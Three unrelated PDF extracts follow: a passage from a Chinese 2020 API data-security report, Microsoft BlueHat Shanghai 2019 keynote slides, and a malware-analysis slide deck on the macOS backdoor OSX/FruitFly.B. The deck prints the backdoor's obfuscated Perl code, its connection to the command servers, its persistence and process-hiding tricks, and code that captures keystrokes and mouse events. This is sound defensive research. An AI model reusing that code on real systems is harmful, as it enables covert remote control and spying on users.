础上，建立敏感信息明文展示监测预警机制，对内部 API 调用流量
进行实时监控，一旦监测到明文传输敏感信息、或者明文展示敏感
应用程序接口（API）数据安全蓝皮报告（2020 年）
33
信息的时候，及时进行预警。
账号风险监测机制：企业应建立账号风险监测机制。一方面，
监测是否存在单因素认证、弱密码、密码明文传输等脆弱性；另一
方面，建立账号登陆行为画像，总结用户常规登陆模式，发现账号
共享、借用、兼任等情况及时预警，并进一步排查。此外，账号风
险监测机制还可侦测境外 IP 访问内部 API 接口的情况，减少企业数
据出境的安全风险。
数据行为威胁实时监控：内部 API 可能存在水平越权、垂直越
权、账号滥用等风险，因此，企业应根据自身情况建立正常行为基
线，对短时间内大量获取敏感数据、访问频次异常、非工作时间访
问、敏感数据外发等异常行为进行监测，并防范网络爬虫等大量机
器拉取内部数据。
敏感数据大量暴露监测：企业应监测 API 接口单次返回敏感数
据量、敏感数据类型等情况，发现异常及时对接口进行改进。
特权账号行为监测和审计：企业应建立并严格执行特权账号行
为监测和审计机制，精确、细化特权账号行为基线。
自动化数据泄露溯源追责：通过线索溯源或者主体溯源模式进
行溯源追责，明确数据泄露途径、数据泄露类型、数据泄露规模和
数据泄露原因，并对源头责任人和可疑犯罪人进行锁定，及时缩小
犯罪嫌疑人范围，减少因数据泄露给企业、个人和社会造成的负面
影响。
应用程序接口（API）数据安全蓝皮报告（2020 年）
34
（二）观安 API 安全实践
1.安全方案
观安 API 数据安全检测方案通过对数据接口、虚拟网络边界接
口进行实时监控和分析，实现应用系统之间数据访问、传输、流转
及敏感数据检测，利用大数据分析技术构建数据接口活动轨迹、访
问操作画像，智能化判断业务系统、企业内外部数据接口之间的数
据流量异常、数据访问操作异常、数据接口调用异常等安全风险，
及时对数据接口异常事件进行预警，为应用系统业务数据安全流转、
调用、传输等操作访问行为提供数据安全保障。
来源：上海观安信息技术股份有限公司
一是梳理接口敏感级别，制定分级策略。梳理并发现应用系统
中涉及敏感数据流转的接口以及敏感数据暴露面，根据敏感数据类
型对应用系统接口进行敏感等级划分，针对不同敏感级别的接口制
定差异化访问控制策略。
二是建立深度分析系统，实现多维度风险评估。建立深度分析
系统，对数据接口异常流量、用户异常操作行为、异常调用等进行
实时监控、异常预警和集中的风险展示。对敏感数据访问接口进行
应用程序接口（API）数据安全蓝皮报告（2020 年）
35
多维度的脆弱性评估及风险识别，包括但不限于数据账号风险、数
据权限风险、数据操作风险、数据流向风险、数据暴露面风险、数
据脱敏风险等。
三是描绘行为轨迹，实现流动监控。基于流量数据识别应用系
统中的接口和用户账号信息，还原并记录用户的数据访问行为；对
业务系统账号信息的数据访问行为进行审计，从用户账户、接口、
数据访问和返回情况，完整描绘数据在应用系统中流转的地图，实
现对数据流动细节的监控。
2.技术手段
协议解析：通过获取网络中系统的数据包，并将其进行协议解
析，生成基础数据，识别的协议包括但不限于当前主流的系统访问
及接口协议。通过抓取的流量数据可对数据流动使用过程进行审计
操作，保证 API 内的数据流转安全性。
来源：上海观安信息技术股份有限公司
数据分类分级：分类分级定位到的数据标签信息、位置信息可
应用程序接口（API）数据安全蓝皮报告（2020 年）
36
以赋能到安全风险识别，结合流量数据准确实时的输出安全风险告
警，保障数据生命周期内的流动安全。同时分类分级可为 API 敏感
级别划分提供支撑，依据分类分级清单实现数据价值划分，为数据
差异化管控提供依据。
敏感数据识别：根据敏感级别划分，动态制定敏感数据识别规
则，通过规则分析自动识别未脱敏数据。
API 全盘发现：识别并建立 API 清单，对 API 进行可视化展现，
发现 API 漏洞。
通过手动定义或 API 文件，建立 API 清单；
通过日志或流量分析，发现 API 清单未覆盖的请求；
对 API 活动做可视化展现；
结合威胁情报库，发现有漏洞的 API 应用服务器。
来源：上海观安信息技术股份有限公司
API 可视化管控：登记汇总各系统中注册，添加、登记的接口服
务，实现对系统接口的汇总管理和可视化展示。
API 安全检测：API 安全检测是系统交互的屏障和保护伞，在接
应用程序接口（API）数据安全蓝皮报告（2020 年）
37
口具体的使用过程中，通过提前预设告警规则、防御规则，记录非
法操作、异常攻击等行为，匹配规则，实现防御阻断、告警，提高
单个系统接口服务的有效性及保证整个生态系统的安全性、稳定性，
为企业提供多重保障。
流量数据：通过协议解析，获取多系统接口行为记录，包括访
问的接口、访问的 URL、源/目的 IP、源/目的端口、访问时间及流
量等数据，为访问行为的安全审计、数据挖掘提供数据源。
审计告警：根据业务系统特点，对通过接口交互的敏感信息或
关键字进行识别、告警设置，生成审计规则，对匹配规则的敏感信
息进行相应操作，如区分日志类型（原始日志、重要日志、告警日
志）、进行有效报警（邮件、短信）等，为系统接口交互行为审计
提供及时预警及处理时间。
来源：上海观安信息技术股份有限公司
异常数据流动行为检测：从应用系统流量中提取用户访问行为
的原始数据，计算相关的基础指标,构建数据模型进行机器学习和大
数据分析，对数据访问建立行为基线，利用异常检测技术，从多个
维度来识别异常数据访问行为，从而实现异常数据访问行为和数据
泄露行为的感知和预警。
应用程序接口（API）数据安全蓝皮报告（2020 年）
38
回溯取证：对接口业务行为进行完整的记录，并支持接口访问
行为和事件回放取证。记录包括访问时间、访问者、访问凭据、访
问请求参数、返回数据等。
API 数据安全态势分析：通过海量接口行为数据，运用 Hadoop
大数据支撑平台，快速大批量接口行为分析，辅助安全管理员提前
预警阻断。
来源：上海观安信息技术股份有限公司
数据挖掘：对接口生命周期及接口的商业行为进行高效的梳理
和分析，通过采用分类模型、预测模型、关联模型、聚类模型、异
常值分析、协同过滤、文本挖掘等算法模型，为企业提供更优质的
商业价值。
3.实践应用
（1）背景
应用程序接口（API）数据安全蓝皮报告（2020 年）
39
某运营商安全行为管控主要依赖传统的业务系统日志、4A 访问
日志，数据来源单一，分析手段相互独立缺乏联动，缺少多维度分
析；对接口调用异常、业务行为中敏感数据自识别监控、数据操作
异常事件等新型事件，依赖现有传统审计方法无法有效识别和监测。
（2）应用
分析模块：分析业务流程包括数据采集、数据预处理、数据存
储、分析引擎、结果输出等步骤。
风险场景模型：分析平台和业务场景的深度耦合，对系统业务
风险点进行监测、控制，业务分析平台采用 2 套分析模型（机器行
为模型、风险评分卡模型）对 4 大业务场景（接口风险告警、主机
绕行告警、前台未授权查询信息、敏感数据操作监测）进行业务分
析。
接口异常行为监测：基于流量探针对流量数据进行采集，根据
接口小时段内容的接口类型、调用对象、访问时间间隔等数据维度
构建特征工程，通过机器学习分类算法如随机森林，建立异常识别
模型，从而通过模型识别出异常行为。
接口内容敏感识别：数据接口种类繁多，如何正确高效、识别
敏感数据接口并进行行为分析，俨然成为工作难题。本次实践应用
中通过流量探针，在下行流量数据中依赖命名实体识别、规则识别
敏感数据，并对识别的敏感数据接口进行监控，精准管理敏感数据
接口。
应用程序接口（API）数据安全蓝皮报告（2020 年）
40
用户行为异常分析：关注用户对关键业务系统、敏感数据、敏
感文件的操作行为，通过规则、基线等分析手段识别异常行为。
（3）成效
实践中完成 3 个业务风险场景建设，构建 2 套分析模型，日均
处理 200G 数据，共监测识别异常事件 72 起、真实有效事件 67 起。
来源：上海观安信息技术股份有限公司
4.发展趋势
当前，API 安全保护日渐成为网络应用的主要技术需求之一。人
工智能和机械学习作为高效智能化的工具，已经被应用到了协议栈
的各个层面上，以实现 API 的全栈安全防护。就下一步发展趋势来
看，开发人员需要进一步加大对于 API 业务模型、分析能力、技术
蓝图、以及合规性与标准化的深入研究与开发。API 安全实践的发展
趋势包括：DNS 安全、安全设计、人工智能、机械学习驱动等。
应用程序接口（API）数据安全蓝皮报告（2020 年）
41
（三）爱加密 API 安全实践
1.安全方案
爱加密移动应用 API 安全防护方案秉持“分段保护，技术验证”
的思路，在保障 APP 业务功能的前提下，对其调用或集成的 API 进
行事前、事中、事后的全过程安全管理与防护。及时发现潜在的源
码漏洞、破解盗用、异常调用等安全问题，并提供业务、数据、源
码各层面的安全防护。
来源：北京智游网安科技有限公司（爱加密）
爱加密自动化安全扫描工具可针对 API 的源代码安全性、数据
安全性与传输安全性等多方面进行检测，并对缺少源码保护、明文
存储数据、非加密协议传输数据等问题进行重点侦测。
（1）源代码防护检测
源码反编译安全：检测 Java 文件是否进行加壳保护，未加壳可
能面临被反编译的风险。
应用程序接口（API）数据安全蓝皮报告（2020 年）
42
源码混淆检测：检测 API 源代码是否进行混淆处理，代码未进
行混淆会在代码被反编译后导致核心代码可能被窃取，存在逆向代
码还原到源码的风险。
so 文件保护检测：检测 so 文件是否为了实现不同软件之间的数
据共享，设置内部文件为全局可读或全局可写，使得其他应用可以
读取和修改该文件。
H5 代码安全检测：分析 API 中的 html5 文件是否经过混淆/加密
操作。
密钥硬编码检测：检测 API 是否存在将加密算法密钥设定为固
定值，导致不法分子可能通过反编译硬编码密钥破解接口加密机制
情况。
（2）API 安全性检测
敏感信息获取检测：检测 API 中是否存在获取用户敏感信息的
操作。
API 本地数据存储安全检测：检测 API 是否会将用户敏感数据明
文存放在本地缓存目录，私有目录等。
日志数据安全检测：Log 日志是 APP 运行期间自身产生的，是对
程序运行情况的记录和监控，通过 Log 日志可以详细了解 APP 内部
的运行状况。
证书文件明文存储检测：查看 API 资源中是否包含明文的证书
文件。
应用程序接口（API）数据安全蓝皮报告（2020 年）
43
（3）API 数据传输检测
HTTP 协议检测：由于 HTTP 数据传输是明文传输的，导致 HTTP
数据容易被抓取、篡改，泄露用户密码等敏感数据，甚至通过中间
人劫持将原有信息替换成恶意链接或恶意代码程序，以达到远程控
制、恶意扣费等攻击意图。通过使用抓包工具在网络节点设置代理，
侦听抓取 API 业务请求数据包，分析数据报文检查是否使用 http 协
议传输数据。
业务接口漏洞测试：检查 API 是否存在与业务功能无关的服务
器交互接口，通过侦听通信数据中的网络端口类型查看 API 是否存
在可能的越权访问与脚本注入风险。
2.技术手段
自动化业务检测：将 API 恶意代码的行为特征具体化分析，创
造行为自动化检测脚本，通过对真实运行环境的仿真模拟来诱导发
现第三方 API 是否隐藏恶意行为与违规行为，将行为检测技术运用
到检测方法当中，包括：
检测 API 读取隐私数据，如手机通讯录、通话记录、短信内
容、IMEI、IMSI 等相关行为事件。
检测 API 完整的网络通讯事件，获取远程服务器 IP（包含地
理区域）、端口号、域名、完整 URL。
检测 API 隐藏图标动作、执行系统高威胁设置等行为事件。
检测 API 运行过程隐蔽安装插件安装包行为事件。
应用程序接口（API）数据安全蓝皮报告（2020 年）
44
检测 API 在运行生命周期内新建文件、编辑文件、删除文件
等所有行为事件。
VMP 高强度代码加固：市面上普遍对 256 个 OpCode，进行了自
定义指令替换，具体的操作数语法组合并不做处理。爱加密 VMP 对
OpCode 指令以及操作数都同时进行了指令转换处理，涉及操作数语
法组合大概 541 种，在加密细粒度和强度方面具有显著优势。
API 探针技术：API 威胁感知可以进行自定义埋点探针数据采集，
在后台对 APP 进行流程位置埋点探针，收集该埋点探针数据，在应
用上线后埋点探针可进行远程操作，而后埋点下发。爱加密威胁感
知系统支持多种响应形式的自定义下发，包括自定义弹窗，退出，
提示，悬浮球，打开链接，启动应用，toast 提示，通知栏，预下载，
下载并安装，跳转指定页面等。
3.实践应用
（1）运营商计费类 API 公开共享场景应用
某运营商开发自有计费 API 用于提供 App 内计费系统交易结算。
由于缺少代码层面安全防护，API 接口遭到恶意破解，计费逻辑与关
键文件被窃取，计费流程的完整性遭到破坏，导致交易破解与恶意
计费事件发生。此外，遭破解的计费 API 可能被二次打包为携带违
法广告、木马程序等内容的盗版 API，成为违法违规内容传播的载体。
应用程序接口（API）数据安全蓝皮报告（2020 年）
45
来源：北京智游网安科技有限公司（爱加密）
爱加密通过技术手段对运营商计费类 API 进行源码保护，提高
源码复杂度与完整性校验，防止被黑客破解分析，探知核心业务流
程。同时对关键业务流程进行过程监控，对关键交易进行二次验证。
此应用场景下采取如下保护措施：
对 API 源代码进行加固处理，防止非法破解。API 加固保护包
括对 jar 文件代码的虚拟化处理、so 库文件的安全防护等安全加固
内容。同时防止 so 库被非法调用，对 App 的使用进行权限管理。
增加威胁感知探针，对 API 业务运行时的状态进行感知。在
计费 API 运行时对关键核心步骤进行二次校验，对关键业务核心点
进行完整性验证，出现的异常行为及时预警或阻断。
（2）互联网企业认证 API 对外开放场景应用
某互联网企业为推广业务吸引流量，向第三方开发企业与个人
开放了自身 APP 的认证 API，实现便捷登录功能。由于未对 API 进行
安全检测，被黑客通过 API 中的通讯录匹配功能暴力匹配用户姓名
和密码，将海量黑产数据转化为有价值的用户账号数据在黑市兜售，
应用程序接口（API）数据安全蓝皮报告（2020 年）
46
给企业带来极大的经济和社会信誉损失。
来源：北京智游网安科技有限公司（爱加密）
互联网企业在向社会公开自己的 API 时，需要对 API 做全面的
安全检测，及时发现代码层面、数据层面与接口传输层面的安全漏
洞，与 App 业务功能无关的接口应及时注销关闭，防止其被破解后
形成潜在业务隐患。
此应用场景下采取如下保护措施：
检测 API 源代码是否进行混淆，加固等安全技术处理。防止
攻击者通过反编译工具得到 API 的代码后直接可读可定位等风险。
检测是否含有遗留日志数据，防止黑客通过 Log 日志详细了
解 API 内部的运行流程。防止通过对日志搜索进行程序代码定位，
从而找到 API 中关键代码进行分析修改。
增加威胁感知探针，对 API 运行时的业务请求频率进行监控。
在出现高频率、涉及敏感数据的业务时向服务后台进行预警与客户
端的防御响应。
应用程序接口（API）数据安全蓝皮报告（2020 年）
47
4.产品研发
目前 API 接口根据不同 APP 的开发场景被广泛集成到海量 SDK
中进行使用。爱加密结合其移动应用 SDK 领域安全积累，建立移动
SDK/API 资产互联网监控平台，通过大数据分析模型，提升相关风险
预警的准确性和防护策略的有效性。
来源：北京智游网安科技有限公司（爱加密）
该平台依托于爱加密移动安全大数据平台的监管能力，针对数
百万 APP 使用的 SDK/API 进行专向分类管理，当企业需要使用第三
方 SDK/API 时，可通过爱加密安全大数据平台获取详细的状态与使
用范围信息。
此外，平台提供针对企业自研 SDK/API 登记备案和管理功能，
可对企业自研 SDK/API 是否遭违法违规调用进行快速查询和验证。
平台提供的 API 全质量常态监测服务可对重大、突发安全漏洞实现
第一时间检测与记录回馈，配合移动威胁感知系统的前端响应能力，
应用程序接口（API）数据安全蓝皮报告（2020 年）
48
阻断风险扩散，精确划分影响范围，最大限度减小由于安全原因带
来的负面影响。
中国信息通信研究院 安全研究所
地址：北京市海淀区花园北路 52 号
邮政编码：100191
联系电话：010-62308590
010-62308790
传真：010-62300264
网址：www.caict.ac.cn | pdf |
Welcome to BlueHat Shanghai
Eric Doerr
General Manager, Microsoft Security Response Center
@edoerr
May 30, 2019
Chinese researchers were the most
prolific and high-impact contributors to
the Microsoft Bounty Program in 2019
Growth
57%
China-based
bounty
participants
46%
China-based
bounty
submissions
2018 vs 2019
Impact
China, 48%
Global, 52%
BOUNTY AWARDS
China, 22%
Global, 78%
BOUNTY-ELIGIBLE SUBMISSIONS
2018 vs 2019
Focus
2019
Submissions by Vulnerability Type
Memory Safety Issues
56%
Information
Disclosure
15%
Microsoft Bounty Programs
Microsoft Office
Insider
Microsoft
.NET Core and
ASP.Net Core
Microsoft Edge
Azure DevOps
Microsoft Cloud
Bounty
Windows Defender
Application Guard
Windows Insider
Preview
Microsoft
Identity
Mitigation Bypass
and Defense
Microsoft Hyper-V
Microsoft Office
Insider
Microsoft
.NET Core and
ASP.Net Core
Microsoft Edge
+75% of
submissions
Azure DevOps
Microsoft Cloud
Bounty
Windows Defender
Application Guard
Windows Insider
Preview
+40% of
submissions
Microsoft
Identity
Mitigation Bypass
and Defense
Microsoft Hyper-V
+50% of
submissions
Microsoft Bounty Programs
9
Our thanks
China-based researchers and
partner companies have
demonstrated their skill and
helped us secure customers and
the broader ecosystem in 2019.
A little history…
Long history of security investment
90’s through 2010
1998
MSRC begins
2002
Bill Gates
Trustworthy
Computing
Memo
2003
Buffer Overrun
Protection in
Visual Studio
Windows
Defender for XP
and Server 2003
2004
Security
Development
Lifecycle (SDL)
Data
Execution
Protection
(DEP) releases
in XP SP2
2005
First
BlueHat
2006
BitLocker
ships with
Windows
Vista
2007
Address Space
Layout
Randomization
(ASLR) ships in
Vista
2009
AppLocker
ships with
Windows 7
Long history of security investment
2010 through today
2013
Microsoft
launches first Bug
Bounty
Digital Crimes
Unit Cybercrime
center opens
2014
Control Flow
Guard (CFG)
released in
Windows 8.1
2015
Office ATP
(Advanced Threat
Protection) released
Microsoft Advanced
Threat Analytics
(ATA) released
Cyber Defense
Operations Center
opens
2016
Microsoft Cloud App
Security released
Azure Security
Center (ASC)
released
Defender ATP
released
2017
Credential Guard
released in Win10
Defender Exploit
Guard released
2018
Azure ATP released
FIDO2 password-
less sign in
Microsoft Secure
Score released
2019
Azure Sentinel
announced at RSA
Microsoft Threat
Experts released
First BlueHat
Shanghai
CVE-2019-0708 example
Security focus paid off with newer versions of Windows
•
Vulnerability: Pre-auth
UAF (Use After Free) in
RDP Server
•
Win8, Server 2012,
Win10 not affected
•
Released patches for “out
of support” XP, Win7 and
Server 2003
Microsoft Future
Going Digital
12 years
average age of S&P
500 corporations
by 2020
50% of S&P 500
replaced by 2026
1 million/hour
new devices
coming online
by 2020
60% computing
in the cloud by
2025
Every
Organization
Is becoming a software
company to stay
relevant
The Microsoft Cloud
Application Innovation
Business Apps
Security &
Management
Data
AI & Machine
Learning
Productivity
Power BI
Advanced Threat Protection
Security Center
Cognitive
Services
Machine
Learning
Azure: Planetary Scale
>95% of Fortune 500 use Azure
Developers are at the heart
of every company’s innovation
Most contributions 1.1B in 2018
Most developers 36M
Highest growth 8M new devs in 2018
Most Repos 96M
Most activity 200M PRs, 800M API requests daily
Most students 1.1M
Most organizations 2.2M
Most secure 5M vulnerability alerts in 2018
MSR Beijing
MSR Cambridge
MSR Redmond
MSR Montreal
MSR New England
MSR New York
Fueled by Microsoft breakthrough research
96% on RESNET
vision test
94.9% on
Switchboard test
89.4% on Stanford
CoQA test
69.9% with MT
Research system
39.5 Teraflops with
Intel Stratix 10
MSR India
MSR Shanghai
Machine translation
human parity
Object detection
human parity
Switchboar
d
Switchbo
ard
cellular
Meeting
speech
IBM
Switchboard
Broadcast
speech
Speech recognition
human parity
Conversational Q&A
human parity
First FPGA deployed
in a datacenter
Bounty
Microsoft Office
Insider
Microsoft
.NET Core and
ASP.Net Core
Microsoft Edge
Azure DevOps
Microsoft Cloud
Bounty
Windows Defender
Application Guard
Windows Insider
Preview
Microsoft
Identity
Mitigation Bypass
and Defense
Microsoft Hyper-V
Bounty -> Where we are going
Microsoft
Office Insider
Microsoft
.NET Core and
ASP.Net Core
Microsoft Edge
Azure DevOps
Microsoft
Cloud Bounty
Windows
Defender
Application
Guard
Windows
Insider Preview
Microsoft
Identity
Mitigation
Bypass and
Defense
Microsoft
Hyper-V
Azure
Dynamics
DevOps / GitHub
AI & ML
And a whole lot more…
谢谢 | pdf |
@patrickwardle
OFFENSIVE MALWARE ANALYSIS
dissecting osx/fruitfly via a custom c&c server
WHOIS
“leverages the best combination of humans and technology to discover
security vulnerabilities in our customers’ web apps, mobile apps, IoT
devices and infrastructure endpoints”
security for the
21st century
@patrickwardle
OUTLINE
fruitfly
monitoring
c&c server
tasking
trapping flies
analyze OSX/FruitFly.B ...'smartly'
THE GOAL
command
description
0
"take screen shot"
1
?
2
?
"execute
command #0"
malware's commands
build:
custom C&C server
spy.com
steal (borrow?) other ppls access
1
task:
the malware
observe:
the response
2
3
cmd #0
malware hijack
OSX/FRUITFLY
an intriguing backdoor
initially discovered by malwarebytes
OSX/FRUITFLY (‘QUIMITCHIN’)
"New Mac backdoor using
antiquated code"
-malwarebytes/thomas reed
components
(script, binary, etc)
persistence
(launch agent)
capabilities
}
Virus Total submission(s)
Jan 11th (0 detections)
files
procs
cam
mouse
keys
infection vector?
trojan?
email?
method of persistence
OSX/FRUITFLY
$ cat ~/Library/LaunchAgents/
com.client.client.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC … >
<plist version="1.0">
<dict>
<key>KeepAlive</key>
<true/>
<key>Label</key>
<string>com.client.client</string>
<key>ProgramArguments</key>
<array>
<string>/Users/user/.client</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>NSUIElement</key>
<string>1</string>
</dict>
</plist>
[RSA 2015, wardle]
"Malware Persistence on OS X"
launch agent persistence
}
launch agent
property list:
~/Library/LaunchAgents/
com.client.client.plist
payload:
~/.client
BlockBlock alert
variant ‘b’
OSX/FRUITFLY.B
$ file fpsaud
perl script text executable, ASCII text
$ cat fpsaud
#!/usr/bin/perl
use strict;use warnings;use IO::Socket;use
IPC::Open2;my$l;sub G{die if!defined
syswrite$l,$_[0]}sub J{my($U,
$A)=('','');while($_[0]>length$U){die if!
sysread$l,$A,$_[0]-length$U;$U.=$A;}return$U;}
sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N;
$U=~s/\\/\//g;$U}sub
I{my$U=eval{my$C=`$_[0]`;chomp$C;$C};$U=''if!
defined$U;$U;}sub K{$_[0]?v1:v0}sub Y{pack'V',
$_[0]}sub B{pack'V2',$_[0]/2**32,$_[0]%2**32}
sub Z{pack'V/a*',$_[0]}sub M{$_[0]^(v3 x
length($_[0]))}my($h,@r)=split/
a/,M('11b36-301-;;2-45bdql-lwslk-hgjfbdql-
pmgh`vg-hgjf');push@r,splice@r,
0,rand@r;my@e=();for my$B (split/
a/,M('1fg7kkb1nnhokb71jrmkb;rm`;kb1fplifeb1njg
ule')){push@e,map $_.$B,split/a/,M(‘dql-lwslk-
bdql-pmgh`vg-');}push@e,splice@e,0,rand@e;
...
obfuscated perl?!
}
name: ‘fspaud’
OSX/FruitFly.B
submitted: 1/31
(0 AV detections)
type: perl script
mahalo @noarfromspace
a brief triage
OSX/FRUITFLY.B
'tell me
your secretz'
custom C&C server
}
address of c&c server(s)
malware’s protocol
$ cat fpsaud.pretty
#!/usr/bin/perl
use IO::Socket;
use IPC::Open2;
sub G {
die if !defined syswrite $l, $_[0]
}
...
for( my ( $x, $n, $q ) = ( 10, 0, 0
) ; ; sleep $x) {
...
the goal:
need this info to build c&c server
‘beautified’ script
subroutines
main logic
imports
'ok'
a triage of subroutines
OSX/FRUITFLY.B
#send data
sub G {
die if !defined syswrite $l, $_[0]
}
#recv data
sub J {
my ( $U, $A ) = ( '', '' );
while ( $_[0] > length $U ) {
die
if !sysread $l, $A, $_[0] - length $U;
$U .= $A;
}
return $U;
}
#pack data
sub Z {
pack 'V/a*', $_[0]
}
#XOR string
sub M {
$_[0] ^ ( v3 x length( $_[0] ) )
}
#eval command
sub I {
my $U = eval { my $C = `$_[0]`; chomp $C; $C };
$U = '' if !defined $U;
}
name description
B
split & pack an integer
E
read bytes from process
G
send data to c&c server
H
read data from c&c server & format
I
eval() a string
J
read data from c&c server
K
check if variable it true
M
XOR string with '3'
N
read variable length data from c&c
server
O
read 4 bytes (integer) from c&c server
R
close process handles
S
write data to file
V
save embedded binary to disk, then exec
& pass parameters via stdin
W
read from file
Y
pack a 4-byte integer
Z
pack variable length data
various subroutines
osx/fruitfly.b's subroutines
string decoding (c&c servers)
OSX/FRUITFLY.B
#decode c&c primary servers
my ($h, @r) = split /a/, M(‘11b36-301-;;2-45bdql-lws...');
#decode c&c backup servers
for my $B (split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...')){
push @e, map $_ . $B, split /a/, M(‘dql-lwslk-bdql...’);
}
command
description
-d <script.pl>
start a script under the debugger
R
restart
n
single step (over subroutines)
s
single step (into subroutines)
p <variable>
display value of a variable
l <line #>
display code at line number
b <line #>
set a breakpoint on line #
B <line #>
remove the breakpoint on line #
T
display 'stack'/caller backtrace
$ perl -d .fpsaud
main::(fpsaud:6): my $l;
DB<1> n
main::(fpsaud:39): my ( $h, @r ) = split /a/,
main::(fpsaud:40): M(‘11b36-301-;;2-45bdql-lws…
DB<1> n
DB<1> p $h
22
DB<1> p @r
xx.xx2.881.76 gro.otpoh.kdie gro.sndkcud.kdie
decoding strings
perl debugger commands
$g = shift @r; push @r, $g;
#connect to C&C server
# $g: reversed C&C address
# $h: C&C port
$l = new IO::Socket::INET(
PeerAddr => scalar( reverse $g ),
PeerPort => $h,
Proto => 'tcp',
Timeout => 10
);
67.188.2xx.xx
eidk.hopto.org
eidk.duckdns.org
}
:22
encoded strings
…cmdline options, process hiding, & decoding data
OSX/FRUITFLY.B
#save port, or addr:port
if ( @ARGV == 1 ) {
if ( $ARGV[0] =~ /^\d+$/ ) { $h = $ARGV[0] }
elsif ( $ARGV[0] =~ /^([^:]+):(\d+)$/ ) {
( $h, @r ) = ( $2, scalar reverse $1 );
}
}
# 'change' process name
$0 = 'java';
#before
$ ps aux 2321
USER PID COMMAND
user 2321 perl /Users/user/fpsaud
#after
$ ps aux 2321
USER PID COMMAND
user 2321 java
#decode embedded binary data
my $u = join '', <DATA>;
my $W = pack 'H*', 'b02607441aa086';
$W x= 1 + length($u) / length($W);
$u ^= substr $W, 0, length $u;
$u =~ s/\0(.)/v0 x(1+ord$1)/seg;
__DATA__
‹Í∫†á±%Eö¢Ü≤”F˙°Ü£B†Ñ¯&E«˜c]HÔ܆÷g†Ñ(&EÙ√Ër
H͆ÇÄ& t•Å∞$D°Ü∂yX0ÿÚ∞/XNÂfi‰&π†Ü@&G=†ÉM.J†Ü0&...
$ fpsaud <port>
$ fpsaud <addr:port>
process 'hiding'
ps is fooled
'perl'
'java'
decoding binary data
terminal is fooled
the protocol / control flow
OSX/FRUITFLY.B
#forever
for ( ; ; ) {
#send client data
G v1
. Y(1143)
. Y( $q ? 128 : 0 )
. Z( I('scutil --get LocalHostName’))
. Z( I('whoami') );
#get & process cmd
for ( ; ; ) {
my $D = ord J 1;
if ( $D == 0 ) { }
elsif ( $D == 2 ) {
my ( $Z, $C ) = ( J 1 );
…
}
elsif ( $D == 47 ) {
…
}
}
}
{ 1143,
128 | 0,
host name,
user name }
recv cmd
process cmd
send
client info
}
}
loop
1
2
3
do cmd
tasking
'do cmd x'
4
command
response
client info
main processing loop
MONITORING
how to passively observe
network;files;processes;mouse;keyboard
WATCH ALL THINGS
cmd ‘x’
do cmd ‘x’
}
files?
procs? mouse?
keys?
cmd response
network traffic
file i/o
processes execs
(& shell commands)
mouse &
keyboard events
osx/fruitfly command processing
monitor for these all!
goal: to understand the
malware's capabilities via
tasking & passive monitoring
c&c server, protocol & command analysis
NETWORK MONITORING
# tcpdump port 53
tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP)
IP 192.168.0.67.59185 > google-public-dns-a.google.com.domain: 41875+ A? eidk.hopto.org. (32)
IP google-public-dns-a.google.com.domain > 192.168.0.67.59185: 41875 1/0/0 A 127.0.0.1 (48)
tcpdump: dns query for (primary) c&c server
cmd #13
"~/fpsaud"
wireshark: response for command #13
}
malware components & command analysis
FILE MONITORING
# sudo fs_usage -w -f filesystem | grep perl
open F=5 /private/tmp/client perl5
lseek F=5 <SEEK_CUR> perl5
write F=5 B=0x2000 perl5
write F=5 B=0x11e8 perl5
close F=5 perl5
fs_usage: dropping embedded binary
#assign
my $u = join '', <DATA>;
#decode
my $W = pack 'H*', 'b02607441aa086';
$W x= 1 + length($u) / length($W);
$u ^= substr $W, 0, length $u;
#expand
$u =~ s/\0(.)/v0 x(1+ord$1)/seg;
__DATA__
‹Í∫†á±%Eö¢Ü≤”F˙°Ü±
£B†Ñ¯&E«˜c]HÔ܆÷g†Ñ(&EÙ√ËrH͆ÇÄ&t•Å∞$D°Ü∂yX0ÿÚ∞/
XNÂfi‰&π†Ü@&G=†ÉM.J†Ü0&]¢Œ∞$XVÈ»˚cCN†ÄÄ&¥§ñ∞7DHá ..
/tmp/client
encoded machO binary
& decoding logic
#argument processing
# ->reads from stdin & switches on value
call getchar
lea rdx, qword [sub_100001cc0+356]
movsxd rax, dword [rdx+rax*4]
add rax, rdx
jmp rax
} switch() to exec
complex commands
/tmp/client
command analysis
PROCESS MONITORING
cmd #11
no open-source user-mode
process monitoring utility for macOS
#procMonitor
new process:
pid=5836
path=/usr/local/bin/pwd
args=none
ancestors=(5836/perl5, 1/launchd)
'pwd'
let's write one :)
process monitoring library
free/open-source/user-mode!
#import "processLib.h"
//create callback block
ProcessCallbackBlock block = ^(Process* newProcess){
NSLog(@"new process: %@", newProcess);
};
//init object
ProcessMonitor* procMon = [[ProcessMonitor alloc] init];
//go go go
[procMon start:block];
using the process monitor lib
procMonitor: pwd (cmd #11)
command analysis
MOUSE/KEYBOARD MONITORING
//init event with mouse events & key presses
eventMask = CGEventMaskBit(kCGEventLeftMouseDown) | CGEventMaskBit(kCGEventLeftMouseUp) |
CGEventMaskBit(kCGEventRightMouseDown) | CGEventMaskBit(kCGEventRightMouseUp) |
CGEventMaskBit(kCGEventMouseMoved) | CGEventMaskBit(kCGEventLeftMouseDragged) |
CGEventMaskBit(kCGEventRightMouseDragged) | CGEventMaskBit(kCGEventKeyDown) |
CGEventMaskBit(kCGEventKeyUp);
//create event tap
eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, callback, NULL);
//callback for mouse/keyboard events
CGEventRef callback(CGEventTapProxy proxy, CGEventType type,
CGEventRef event, void *refcon)
{
//key presses
if( (kCGEventKeyDown == type) || (kCGEventKeyUp == type) )
{
//get code
keycode = CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
//dbg msg
printf("keycode: %s\n\n”, keyCodeToString(keycode));
}
//mouse
else
{
//get location
location = CGEventGetLocation(event);
//dbg msg
printf("(x: %f, y: %f)\n\n", location.x, location.y);
}
...
# ./sniff
event: kCGEventKeyDown
keycode: h
event: kCGEventKeyUp
keycode: h
event: kCGEventKeyDown
keycode: i
event: kCGEventKeyUp
keycode: i
event: kCGEventLeftMouseDown
(x: 640.23, y: 624.19)
event: kCGEventLeftMouseUp
(x: 640.23, y: 624.19
"Receiving, Filtering, & Modifying:
› Mouse Events
› Key Presses and Releases"
-Mac OS X Internals
mouse/keyboard sniffer
